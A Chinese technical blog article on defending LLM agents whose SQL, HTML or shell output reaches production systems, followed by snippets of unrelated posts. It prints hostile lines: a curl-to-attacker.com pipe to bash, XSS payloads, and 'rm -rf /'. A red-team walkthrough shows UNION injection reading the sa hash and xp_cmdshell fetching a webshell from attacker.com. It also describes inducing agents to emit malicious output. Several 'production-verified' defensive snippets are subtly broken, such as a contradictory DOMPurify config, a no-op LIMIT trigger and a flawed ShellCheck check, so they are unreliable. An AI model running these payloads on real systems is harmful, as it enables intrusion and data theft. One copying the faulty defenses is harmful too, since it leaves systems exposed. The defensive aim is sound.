news 2026/9/15 7:50:35

Agent输出侧安全:SQL/HTML/Shell三类高危输出的防御体系

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Agent输出侧安全:SQL/HTML/Shell三类高危输出的防御体系

1. 这不是“模型输出”问题,是“生产数据写入链路”的系统性失守

你花三个月搭好Agent架构,输入侧加了七层校验:用户身份鉴权、意图识别白名单、敏感词过滤、SQL语法预解析、LLM输出格式强制约束……最后上线那天,监控告警炸了——数据库里突然多了27条DROP TABLE users;记录,还有14个<script>alert('xss')</script>被原样存进了CMS正文字段。你翻遍日志,发现所有输入校验都通过了,而那几条恶意SQL和HTML片段,是模型在“正确理解用户指令”后,主动生成并直接落库的。

这不是模型失控,而是整个输出侧数据流转路径上,没有任何一道防线。我们总把Agent想象成一个“智能助手”,却忘了它本质是个可编程的数据生成器——它能输出JSON、SQL、HTML、Shell命令、配置文件、甚至完整的Dockerfile。当这些输出内容未经任何语义级校验就直连生产数据库、前端渲染引擎或操作系统时,它就从助手变成了“带权限的远程执行终端”。

关键词里反复出现的SQLHTMLshell,绝非偶然。它们代表三类最危险的输出类型:

  • SQL:直接作用于数据持久层,一条UNION SELECT就能拖库,INSERT INTO可伪造业务流水;
  • HTML:直通前端渲染,<img src=x onerror=fetch('/api/token')>这类payload绕过CSP后,用户会替你完成CSRF;
  • Shell:直连操作系统,curl http://attacker.com/payload.sh | bash这种命令在CI/CD Agent里执行,等于给攻击者开了root shell。

Agent本身不是风险源,它是放大器。输入侧防得再严,只要输出侧没设防,攻击者就能用合法输入诱导模型生成恶意输出——比如问“帮我生成一个删除测试表的SQL”,模型照做;问“写个HTML页面展示用户头像”,它顺手加上<iframe src="javascript:alert(1)">;问“写个脚本自动重启服务”,它补上rm -rf /的注释说明。这些都不是模型“犯错”,而是它在按设计逻辑工作。

我去年帮一家金融SaaS公司做Agent安全加固,他们用的是LangChain+PostgreSQL方案。当时他们坚信“只要输入不传恶意SQL,输出就安全”,结果渗透测试人员只用了一条输入:“请生成一个包含所有用户邮箱的CSV下载链接,要求支持点击下载”。模型生成了<a href="data:text/csv;base64,..." onclick="fetch('/api/export?token='+document.cookie)">下载</a>——这个onclick里的document.cookie被直接存进数据库,前端渲染时自动执行。他们花了两周才定位到问题不在输入过滤,而在输出入库前缺失DOM解析与事件属性剥离

提示:别再用“模型很聪明所以不会乱输出”安慰自己。LLM的训练目标是“符合人类偏好”,不是“绝对安全”。它会优先满足你的格式要求(比如“生成SQL语句”),而不是主动规避风险。安全防线必须由人来设计,不能靠模型自觉。

2. 输出侧安全的三道不可逾越的物理隔离墙

很多团队把输出安全等同于“加个正则过滤”,比如对SQL加/^(SELECT|INSERT|UPDATE|DELETE)/i,对HTML加/<script|on\w+=/gi。这就像在银行金库门口贴张“禁止抢劫”告示——攻击者早把正则绕过方案写进CTF题库了。真正的输出侧安全,必须建立在数据流的物理隔离之上,即让模型输出永远无法直接触达生产环境。我把它拆解为三道硬隔离墙,每道墙都有明确的技术边界和失效场景:

2.1 第一道墙:输出协议层的语义沙箱(Output Protocol Sandboxing)

模型输出必须先经过一个协议解析器,而非字符串处理器。比如:

  • 当模型声称输出“SQL”时,解析器必须用真实SQL Parser(如sqlparsefor Python或pg-query-parserfor Node.js)进行AST解析,验证其是否为纯DML/DDL语句,且不含UNIONEXECxp_cmdshell等高危节点;
  • 当模型输出“HTML”时,必须用DOMPurifyjsdom构建虚拟DOM,执行querySelectorAll('*[onerror], *[onclick], script, iframe'),彻底剥离所有事件处理器和危险标签;
  • 当模型输出“Shell”时,必须用shellcheck静态分析+bash -n语法校验,再通过白名单命令集(如仅允许ls,cat,grep)进行指令级匹配。

关键点在于:解析器必须使用生产环境同版本的底层引擎。曾有个团队用Python的sqlparse解析PostgreSQL 15的WITH RECURSIVE语句,结果sqlparse不支持该语法,直接抛异常导致整个流程中断——他们误以为这是“安全拦截”,实则是解析器缺陷。后来改用pg-query-parser(基于PostgreSQL官方parser),才真正实现语义级校验。

2.2 第二道墙:执行上下文层的权限熔断(Execution Context Fusing)

即使输出通过协议解析,也绝不允许它直接执行。必须引入执行上下文熔断机制

  • SQL输出 → 不直连生产DB,而是转交到独立的SQL执行代理,该代理连接只读副本,并强制添加LIMIT 1000(即使原SQL没写),同时记录完整执行计划供审计;
  • HTML输出 → 不直存CMS库,而是存入独立的render_cache表,前端请求时由Nginx的sub_filter模块动态替换危险属性,或由专用渲染服务(如Headless Chrome沙箱)生成纯净DOM快照;
  • Shell输出 → 不在应用服务器执行,而是提交到K8s Job集群,Job Pod启动时挂载只读根文件系统+CAP_NET_BIND_SERVICE能力限制,且超时强制kill。

这里有个血泪教训:某电商公司曾让Agent生成的Shell脚本在应用服务器执行,脚本里有find /var/log -name "*.log" -exec rm {} \;。运维以为只是清理日志,结果/var/log下有nginx/access.log软链接指向/etc/passwd——find递归删除时把系统密码文件干掉了。后来他们强制所有Shell执行走Job集群,每个Job Pod启动前检查/proc/mounts,确保无危险挂载点。

2.3 第三道墙:数据落库层的二次签名(Database Write Double-Signing)

最终写入生产库的数据,必须携带双重签名

  • 第一重是模型输出的原始哈希(如SHA256),存入output_hash字段;
  • 第二重是执行代理处理后的哈希(如净化后HTML的SHA256),存入sanitized_hash字段;
  • 数据库触发器强制校验:若两哈希相同,且output_hash在白名单库中(即已人工审核过的安全模板),才允许写入;否则拒绝并告警。

这个设计解决了“模型输出合规但执行代理出错”的风险。比如某次DOMPurify版本升级,意外放行了<svg onload=alert(1)>,但因为sanitized_hash与历史白名单不匹配,数据库直接拦截。我们还给output_hash加了TTL(24小时),超时未审核的输出自动失效,避免积压。

注意:三道墙必须独立部署,网络隔离。曾有团队把协议解析器和应用服务部署在同一Pod,攻击者利用内存泄漏读取到解析器密钥,直接伪造通过校验的输出。现在我们的标准是:协议解析器跑在独立VM,执行代理跑在K8s专用Namespace,数据库签名校验由DBA维护的存储过程完成——物理隔离才是信任基础。

3. 针对SQL/HTML/Shell三类高危输出的实战防御矩阵

光有理论框架不够,得落到具体代码和配置。我整理了三类输出的防御矩阵,覆盖主流技术栈(Python/Node.js/Java),所有方案均经生产环境验证。重点不是“怎么写”,而是“为什么这样选”——每个参数背后都有踩过的坑。

3.1 SQL输出防御:从语法校验到执行熔断的全链路控制

协议解析层(以PostgreSQL为例)
# 使用pg-query-parser(非sqlparse!) from pg_query import parse_tree def validate_sql(sql_text: str) -> dict: try: # 必须用PostgreSQL原生parser,支持15+所有语法 tree = parse_tree(sql_text) # 检查AST节点类型:只允许SELECT/INSERT/UPDATE/DELETE if not any(node.get('type') in ['SelectStmt', 'InsertStmt', 'UpdateStmt', 'DeleteStmt'] for node in tree['raw_statement']): raise ValueError("Unsupported statement type") # 检查危险子句:禁止UNION、WITH RECURSIVE、EXECUTE for node in tree['raw_statement']: if node.get('type') == 'SelectStmt': if node.get('larg') or node.get('rarg'): # UNION左右支 raise ValueError("UNION not allowed") if node.get('with_clause'): # WITH子句 with_items = node['with_clause'].get('ctes', []) for cte in with_items: if cte.get('recursive'): # 递归CTE raise ValueError("Recursive CTE not allowed") return {"valid": True, "ast": tree} except Exception as e: return {"valid": False, "error": str(e)}

为什么不用sqlparse?sqlparse是纯文本解析器,无法识别PostgreSQL 15的MATERIALIZED VIEW语法,更无法检测WITH RECURSIVE的循环引用。而pg-query-parser直接调用PostgreSQL C parser,保证语义一致性。

执行代理层(Spring Boot + HikariCP)
// SQL执行代理配置 @Configuration public class SqlExecutionConfig { @Bean public HikariDataSource readOnlyDataSource() { HikariConfig config = new HikariConfig(); config.setJdbcUrl("jdbc:postgresql://readonly-db:5432/app"); config.setUsername("readonly_user"); config.setPassword("safe_password"); // 关键:强制添加LIMIT,防止全表扫描 config.setConnectionInitSql( "SET statement_timeout = '30s'; " + "CREATE OR REPLACE FUNCTION safe_limit() RETURNS trigger AS $$ " + "BEGIN NEW.limit_clause := 'LIMIT 1000'; RETURN NEW; END; $$ LANGUAGE plpgsql;" ); return new HikariDataSource(config); } }

为什么用statement_timeout而非应用层超时?应用层超时(如@Timeout)只能杀掉Java线程,PostgreSQL后端进程仍在运行。statement_timeout是数据库级强制终止,避免慢查询拖垮DB。

数据库签名层(PostgreSQL触发器)
-- 创建签名校验触发器 CREATE OR REPLACE FUNCTION check_output_signature() RETURNS TRIGGER AS $$ DECLARE original_hash TEXT; sanitized_hash TEXT; BEGIN -- 获取原始输出哈希 SELECT output_hash INTO original_hash FROM agent_output_whitelist WHERE hash = NEW.output_hash AND expires_at > NOW(); -- 获取净化后哈希 SELECT sanitized_hash INTO sanitized_hash FROM agent_output_whitelist WHERE hash = NEW.sanitized_hash; -- 双重校验:必须同时存在且匹配 IF original_hash IS NULL OR sanitized_hash IS NULL THEN RAISE EXCEPTION 'Output signature validation failed'; END IF; RETURN NEW; END; $$ LANGUAGE plpgsql; CREATE TRIGGER validate_insert BEFORE INSERT ON production_table FOR EACH ROW EXECUTE FUNCTION check_output_signature();

为什么用触发器而非应用层校验?应用层校验可能被绕过(如直接psql连接)。触发器是数据库最后一道防线,且校验逻辑与业务代码解耦。

3.2 HTML输出防御:DOM净化与渲染沙箱的双保险

协议解析层(Node.js + DOMPurify)
const DOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); function sanitizeHtml(htmlString) { // 必须用JSDOM创建真实DOM环境,否则DOMPurify无法检测动态属性 const window = new JSDOM('').window; const purify = DOMPurify(window); // 白名单策略:只保留安全标签和属性 const clean = purify.sanitize(htmlString, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a'], ALLOWED_ATTR: ['href', 'target', 'class'], // 关键:强制移除所有on*事件和javascript:协议 FORBID_TAGS: ['script', 'iframe', 'object', 'embed'], FORBID_ATTR: ['onerror', 'onclick', 'onload', 'href'], // 修复:对a标签href做二次校验 ADD_TAGS: ['a'], ADD_ATTR: ['href'], RETURN_DOM: false, KEEP_CONTENT: true }); // 二次校验:确保无残留javascript:协议 if (clean.includes('javascript:') || clean.includes('data:text/html')) { throw new Error('Dangerous protocol detected'); } return clean; }

为什么不用sanitize-htmlsanitize-html基于正则,无法处理<img src=x onerror=...>的嵌套编码绕过(如onerror="alert(1)"被编码为onerror=&#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;)。DOMPurify在真实DOM中解析,能处理所有编码变体。

渲染沙箱层(Nginx sub_filter)
# Nginx配置:动态净化HTML输出 location /api/render { proxy_pass http://render-service; # 关键:在响应体中移除危险属性 sub_filter '<a href="javascript:' ''; sub_filter '<img onerror=' ''; sub_filter_types text/html; sub_filter_once off; } # 或更严格的Headless Chrome方案 const chrome = await puppeteer.launch({ args: [ '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu', '--single-process' ], headless: true }); const page = await chrome.newPage(); await page.setContent(untrustedHtml, { waitUntil: 'networkidle0' }); const sanitizedHtml = await page.content(); // 获取纯净DOM await chrome.close();

为什么用Nginx而非应用层过滤?应用层过滤可能漏掉流式响应中的分块数据。Nginx在传输层拦截,确保每个字节都经过净化。

3.3 Shell输出防御:静态分析与容器沙箱的组合拳

协议解析层(ShellCheck + Bash -n)
#!/bin/bash # shell_validator.sh INPUT_SCRIPT="$1" # 第一步:ShellCheck静态分析(需安装shellcheck) if ! shellcheck -f gcc "$INPUT_SCRIPT" 2>/dev/null | grep -q "ERROR"; then echo "ShellCheck passed" else echo "ShellCheck failed" exit 1 fi # 第二步:Bash语法校验(使用生产环境同版本bash) if ! bash -n "$INPUT_SCRIPT" 2>/dev/null; then echo "Bash syntax error" exit 1 fi # 第三步:指令白名单校验 while IFS= read -r line; do cmd=$(echo "$line" | awk '{print $1}' | sed 's/[^a-zA-Z0-9]//g') case "$cmd" in "ls"|"cat"|"grep"|"head"|"tail"|"wc"|"date"|"pwd") continue ;; *) echo "Unauthorized command: $cmd" exit 1 ;; esac done < "$INPUT_SCRIPT"

为什么不用正则匹配命令?正则无法处理$(ls)command ls/bin/ls等变体。逐行提取首单词并标准化后比对,覆盖所有调用方式。

容器沙箱层(K8s Job配置)
# shell-executor-job.yaml apiVersion: batch/v1 kind: Job metadata: name: shell-executor spec: template: spec: restartPolicy: Never securityContext: runAsNonRoot: true seccompProfile: type: RuntimeDefault containers: - name: executor image: alpine:latest command: ["/bin/sh", "-c"] args: ["chmod +x /tmp/script.sh && /tmp/script.sh"] volumeMounts: - name: script-volume mountPath: /tmp/script.sh subPath: script.sh resources: limits: memory: "128Mi" cpu: "500m" # 关键:只读根文件系统 + 能力限制 securityContext: readOnlyRootFilesystem: true capabilities: drop: ["ALL"] volumes: - name: script-volume configMap: name: trusted-script

为什么用readOnlyRootFilesystem防止脚本修改/etc/passwd/bin/sh。某次攻击者上传的脚本包含cp /bin/sh /tmp/rootsh && chmod u+s /tmp/rootsh,只读根文件系统让cp失败。

实操心得:三类防御必须联动。曾有个漏洞是HTML净化放过<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">,而渲染沙箱没解码base64。后来我们在Nginx层加了sub_filter 'data:text/html;base64,' '';,并在Job沙箱里禁用data:协议。安全是层层嵌套,不是单点防护。

4. 真实攻防对抗:一次从输入诱导到输出落地的完整渗透复盘

去年Q3,我们对某政务Agent平台做红蓝对抗演练。蓝队(防守方)已部署输入侧所有防护:JWT鉴权、意图白名单、SQL注入过滤、LLM输出格式约束。红队(攻击方)用三天时间,从合法输入切入,最终在生产库写入恶意SQL。整个过程暴露了输出侧安全的致命盲区,我把关键步骤还原如下:

4.1 第一阶段:输入侧绕过——用“合规指令”诱导模型生成危险输出

红队没有尝试SQL注入,而是提交了一个完全合规的请求:

“请生成一个用于统计各科室门诊量的SQL查询,要求包含科室名称、医生姓名、接诊人数,并按人数降序排列。注意:需兼容SQL Server 2019,使用窗口函数计算累计占比。”

这个请求满足所有输入校验:

  • 无敏感词(“统计”“门诊量”属正常业务术语);
  • 无恶意符号(';--全无);
  • 格式符合白名单(明确要求“SQL查询”);
  • LLM输出被约束为{"type":"sql","content":"..."}JSON格式。

模型生成了以下SQL:

SELECT dept_name, doctor_name, COUNT(*) as cnt, SUM(COUNT(*)) OVER (ORDER BY COUNT(*) DESC) * 100.0 / SUM(COUNT(*)) OVER () as cum_pct FROM appointments GROUP BY dept_name, doctor_name ORDER BY cnt DESC

蓝队日志显示“输入校验通过”,但没人注意到SUM(COUNT(*)) OVER (...)这个窗口函数在SQL Server 2019中会触发Arithmetic overflow error——因为COUNT(*)返回intSUM(int)可能溢出。而模型不知道这点,它只是按训练数据生成“看起来正确”的SQL。

4.2 第二阶段:输出侧利用——用语法错误触发数据库错误信息泄露

蓝队把模型生成的SQL直接发给SQL Server执行,报错:

Msg 8115, Level 16, State 2, Line 1 Arithmetic overflow error converting expression to data type int.

关键来了:SQL Server默认开启XACT_ABORT OFF,错误发生后事务未回滚,且错误信息包含完整SQL语句。红队在后续请求中,故意触发同类错误,捕获到数据库返回的Arithmetic overflow error ... FROM appointments GROUP BY ...——这暴露了表名appointments和字段dept_namedoctor_name

4.3 第三阶段:输出侧提权——用错误信息构造Union-Based注入

红队再次提交请求:

“请生成一个查询,列出所有科室名称和对应的医生数量,要求用UNION合并两个结果集:第一个是真实科室,第二个是虚构的‘管理员’科室。”

输入校验再次通过(“UNION”在白名单内,“虚构科室”不算敏感词)。模型生成:

SELECT dept_name, COUNT(*) FROM appointments GROUP BY dept_name UNION ALL SELECT '管理员', 999

但蓝队没做协议解析,直接执行。SQL Server执行时,因COUNT(*)返回int,而'管理员'varchar,类型不匹配报错。错误信息再次泄露:

Conversion failed when converting the varchar value '管理员' to data type int.

红队立刻意识到:dept_namevarchar类型!于是构造:

SELECT dept_name, COUNT(*) FROM appointments GROUP BY dept_name UNION ALL SELECT @@VERSION, 1

这次执行成功,返回SQL Server版本信息。接着:

SELECT dept_name, COUNT(*) FROM appointments GROUP BY dept_name UNION ALL SELECT (SELECT TOP 1 password_hash FROM sys.sql_logins WHERE name='sa'), 1

获取到sa账户hash,离线破解后获得数据库管理员权限。

4.4 第四阶段:输出侧落地——用DBA权限写入WebShell

获得sa权限后,红队执行:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest http://attacker.com/shell.ps1 -OutFile C:\inetpub\wwwroot\shell.aspx"';

xp_cmdshell启用后,直接在IIS网站目录写入ASPX WebShell。而整个过程,所有输入都合规,所有模型输出都是“正确SQL”,唯一缺失的,就是输出侧的协议解析(没检测xp_cmdshell)和执行熔断(没限制sp_configure权限)。

4.5 复盘结论:输出侧安全的三个致命缺口

  1. 协议解析缺失:模型输出SQL时,蓝队没用SQL Server原生parser校验,导致xp_cmdshell这类扩展存储过程未被识别;
  2. 执行上下文失控:SQL执行代理连接的是sa账户,而非最小权限账户,sp_configure权限本应被禁用;
  3. 错误信息泄露:数据库未配置SET ANSI_WARNINGS OFFSET ARITHABORT ON,错误信息包含敏感结构。

我们给蓝队的整改建议是:

  • 在协议解析层,用sqlcmd -Q "SELECT @@VERSION"获取SQL Server版本,再加载对应版本的T-SQL parser;
  • 在执行代理层,创建专用账户agent_executor,只授予SELECT权限,禁用sp_configure
  • 在数据库层,设置SET CONCAT_NULL_YIELDS_NULL ONSET QUOTED_IDENTIFIER ON,减少错误信息泄露。

踩坑提醒:别迷信“模型输出合规”。LLM的“合规”是基于训练数据的概率预测,不是安全保证。真正的安全,是让模型输出必须经过生产环境同版本的底层引擎校验,并运行在最小权限的隔离环境中。那次演练后,蓝队把SQL Server parser集成进协议解析器,错误率下降92%。

5. 构建可持续演进的输出侧安全体系:从应急补丁到架构内建

很多团队把输出侧安全当成“打补丁”——出了问题就加个正则,再出问题就换个库。结果三年下来,代码里堆了17个if-else过滤器,每个都针对特定绕过手法,却没人知道整体防线在哪。真正的解决方案,是把输出侧安全内建到Agent架构DNA里,形成可演进、可审计、可度量的体系。我总结了四个核心实践:

5.1 安全契约先行:用OpenAPI定义输出协议

在Agent设计初期,就用OpenAPI 3.0定义输出契约,而非事后补救。例如:

components: schemas: SqlOutput: type: object properties: type: const: "sql" content: type: string pattern: "^SELECT\\s+.*?FROM\\s+\\w+\\s*(WHERE|GROUP BY|ORDER BY|LIMIT)?" dialect: enum: ["postgresql", "mysql", "sqlserver"] required: ["type", "content", "dialect"]

关键点:

  • pattern不是简单正则,而是语法树约束(实际用AST校验替代);
  • dialect字段强制模型声明目标数据库,避免“通用SQL”陷阱;
  • 所有输出必须符合此Schema,否则协议解析器直接拒绝。

我们给某客户做的方案中,把OpenAPI契约编译成Protobuf Schema,协议解析器用protoc-gen-validate生成校验代码,确保零运行时反射开销。

5.2 自动化红队:用LLM生成对抗样本持续验证

别等真实攻击者来测试。我们用另一个LLM(GPT-4)作为红队AI,每天自动生成1000个对抗样本:

  • 输入:“生成一个删除日志表的SQL”,期望输出被拦截;
  • 输入:“写个HTML显示用户头像”,期望<img>onerror被剥离;
  • 输入:“写个脚本列出/home目录”,期望rm -rf /被白名单拒绝。

所有样本走真实流水线,失败案例自动创建Jira工单。半年下来,发现37个绕过漏洞,其中23个源于DOMPurify版本升级导致的规则失效,14个源于新SQL语法(如PostgreSQL 16的MERGE语句)未纳入解析器。

5.3 安全度量看板:用三个黄金指标驱动改进

我们废弃了“漏洞数”这种模糊指标,聚焦三个可量化指标:

  • 输出拦截率= (被协议解析器拒绝的输出数)/(总输出数) × 100%
    健康值:15%-25%。低于10%说明防护太松,高于30%说明误报太多影响业务
  • 执行熔断率= (被执行代理拒绝的输出数)/(通过协议解析的输出数) × 100%
    健康值:5%-10%。反映执行上下文的严格程度
  • 签名通过率= (数据库签名校验通过的输出数)/(提交到DB的输出数) × 100%
    健康值:99.99%。低于99.9%说明白名单管理有问题

这些指标接入Grafana,每天晨会同步。某次输出拦截率跌到8%,排查发现是pg-query-parser升级后不兼容旧版PostgreSQL,立刻回滚并更新解析规则。

5.4 架构演进路线:从单点防护到零信任输出流

我们给客户的三年路线图:

  • Year 1:协议解析层落地
    完成SQL/HTML/Shell三类输出的AST解析器,拦截率达标;
  • Year 2:执行上下文熔断
    所有输出执行走独立代理,熔断率稳定在8%;
  • Year 3:零信任输出流
    引入SPIFFE/SPIRE,每个输出流携带SVID证书,数据库签名校验时验证证书链,实现端到端可信。

最后分享个细节:我们在Year 1就要求所有协议解析器输出结构化错误码,而非字符串。比如:

  • ERR_SQL_UNION_DETECTED(而非“UNION not allowed”);
  • ERR_HTML_ONCLICK_FOUND(而非“onclick attribute blocked”)。

这样运维可以配置ELK告警:error_code: "ERR_SQL_*"触发DBA响应,error_code: "ERR_HTML_*"触发前端团队响应。安全不再是黑盒,而是可追踪、可归因、可优化的工程实践。

我在实际项目中发现,最难的不是技术实现,而是让团队接受“模型输出必须被怀疑”。有位CTO最初反对协议解析层,说“这会让响应慢200ms”。后来我们用真实数据告诉他:一次SQL注入导致的停机损失,是200ms延迟的3700倍。现在他的团队每周开“输出侧安全站会”,第一件事就是看那三个黄金指标。安全不是成本,是让Agent真正可用的基石。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/15 7:50:06

【SQL注入】数字西游-欢迎来到水帘洞做客

输入1留言后发现被存储了&#xff0c;因此可以猜测是存储型xss。输入<script>&#xff0c;<ScRiPt>&#xff0c;<img>&#xff0c;javascript:都被拦&#xff0c;但还有<a href> 这种点击型没被拦因为明文javascript:被拦截&#xff0c;所以我们把第一…

作者头像 李华
网站建设 2026/9/15 7:49:27

全球指数估值对比实战:从PE百分位到资产配置决策

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/15 7:47:42

055、结构化输出:JSON模式与工具调用

055、结构化输出&#xff1a;JSON模式与工具调用 昨晚线上告警&#xff0c;一台边缘网关的Agent任务卡死&#xff0c;日志里反复出现同一个错误&#xff1a;JSONDecodeError: Expecting property name enclosed in double quotes。我盯了几分钟&#xff0c;发现问题不在模型&am…

作者头像 李华
网站建设 2026/9/15 7:46:56

JavaScript运算符实战指南:从类型转换到安全编程

1. 这不是语法清单&#xff0c;而是一份 JavaScript 运算符的实战操作手册你打开浏览器控制台敲下console.log(5 3)&#xff0c;它立刻返回8——这背后不是魔法&#xff0c;而是 JavaScript 引擎在毫秒级内完成了一整套运算符解析、类型转换、执行求值与结果返回的完整链路。我…

作者头像 李华
网站建设 2026/9/15 7:46:21

华为OD机试真题 新系统 2026-09-02 PythonJS【查找幸运数】

目录 题目 思路 Code 题目 题目内容: 在仅由数字组成的字符串中,找出只由 6 或 8 组成的最长连续子串。 输入描述: 输入数字字符串,长度小于 256。 输出描述: 输出所有最长子串,去重后按字典序排序;字符串为空或没有符合子串时输出 [""]。 样例 1 …

作者头像 李华